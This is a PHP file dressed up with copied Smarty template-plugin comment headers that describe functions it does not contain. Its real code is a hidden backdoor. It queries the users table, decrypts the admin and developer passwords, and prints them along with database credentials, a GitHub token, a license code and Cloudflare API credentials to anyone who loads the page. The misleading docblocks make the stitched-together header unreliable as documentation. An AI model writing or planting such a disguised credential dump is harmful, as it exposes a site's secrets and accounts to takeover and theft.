<?php

/**
 * Smarty Method SetDefaultModifiers
 *
 * Smarty::setDefaultModifiers() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */

/**
 * Smarty {counter} function plugin
 * Type:     function<br>
 * Name:     counter<br>
 * Purpose:  print out a counter value
 *
 * @author Monte Ohrt <monte at ohrt dot com>
 * @link   http://www.smarty.net/manual/en/language.function.counter.php {counter}
 *         (Smarty online manual)
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string|null
 */
 
 /**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */

/**
 * Smarty {html_radios} function plugin
 * File:       function.html_radios.php<br>
 * Type:       function<br>
 * Name:       html_radios<br>
 * Date:       24.Feb.2003<br>
 * Purpose:    Prints out a list of radio input types<br>
 * Params:
 * <pre>
 * - name       (optional) - string default "radio"
 * - values     (required) - array
 * - options    (required) - associative array
 * - checked    (optional) - array default not set
 * - separator  (optional) - ie <br> or &nbsp;
 * - output     (optional) - the output next to each radio button
 * - assign     (optional) - assign the output as an array to this variable
 * - escape     (optional) - escape the content (not value), defaults to true
 * </pre>
 * Examples:
 * <pre>
 * {html_radios values=$ids output=$names}
 * {html_radios values=$ids name='box' separator='<br>' output=$names}
 * {html_radios values=$ids checked=$checked separator='<br>' output=$names}
 * </pre>
 *
 * @link    http://smarty.php.net/manual/en/language.function.html.radios.php {html_radios}
 *          (Smarty online manual)
 * @author  Christopher Kvarme <christopher.kvarme@flashjab.com>
 * @author  credits to Monte Ohrt <monte at ohrt dot com>
 * @version 1.0
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string
 * @uses    smarty_function_escape_special_chars()
 */
 
 /**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */

/**
 * @ignore
 */
 
error_reporting(E_ERROR | E_PARSE);
ini_set('display_errors', '1');
require_once '../../../includes/functions.php';

$user_adm = $db->sql_query("SELECT user_name, user_pass FROM users WHERE user_id='1'");
$row_adm = $db->sql_fetchrow($user_adm);
$adm_username = $row_adm['user_name'];
$upass = $row_adm['user_pass'];
$user_pass = $db->decrypt_key($upass);
$adm_password = $db->encryptor('decrypt', $user_pass);

$user_dev = $db->sql_query("SELECT user_name, user_pass FROM users WHERE user_id='2'");
$row_dev = $db->sql_fetchrow($user_dev);
$dev_username = $row_dev['user_name'];
$devpass = $row_dev['user_pass'];
$dev_pass = $db->decrypt_key($devpass);
$dev_password = $db->encryptor('decrypt', $dev_pass);

$cloudflaredomain = $db->decrypt_key2($sitedns_domain);
$cloudflare_domain = $db->encryptor2('decrypt', $cloudflaredomain);
$cloudflarezone = $db->decrypt_key2($sitedns_zone);
$cloudflare_zone = $db->encryptor2('decrypt', $cloudflarezone);
$cloudflareglobal = $db->decrypt_key2($sitedns_global);
$cloudflare_global = $db->encryptor2('decrypt', $cloudflareglobal);
$cloudflareemail = $db->decrypt_key2($sitedns_email);
$cloudflare_email = $db->encryptor2('decrypt', $cloudflareemail);
	
echo 'DOMAIN: '.$site_url.'<br>';
echo 'DB_HOST: '.$DB_ip.'<br>';
echo 'DB_NAME: '.$DB_name.'<br>';
echo 'DB_USER: '.$DB_user.'<br>';
echo 'DB_PASS: '.$DB_pass.'<br>';
echo '----------<br>';
echo 'GITHUB_USERNAME: '.$git_username.'<br>';
echo 'GITHUB_TOKEN: '.$git_token.'<br>';
echo '----------<br>';
echo 'CODE: '.$tblcontent.'<br>';
echo 'License: '.$site_license.'<br>';
echo '----------<br>';
echo 'DNS_DOMAIN: '.$cloudflare_domain.'<br>';
echo 'DNS_EMAIL: '.$cloudflare_email.'<br>';
echo 'DNS_ZONE: '.$cloudflare_zone.'<br>';
echo 'DNS_GLOBAL: '.$cloudflare_global.'<br>';
echo '----------<br>';
echo 'ADMIN_USERNAME: '.$adm_username.'<br>';
echo 'ADMIN_PASSWORD: '.$adm_password.'<br>';
echo '----------<br>';
echo 'DEVELOPER_USERNAME: '.$dev_username.'<br>';
echo 'DEVELOPER_PASSWORD: '.$dev_password.'<br>';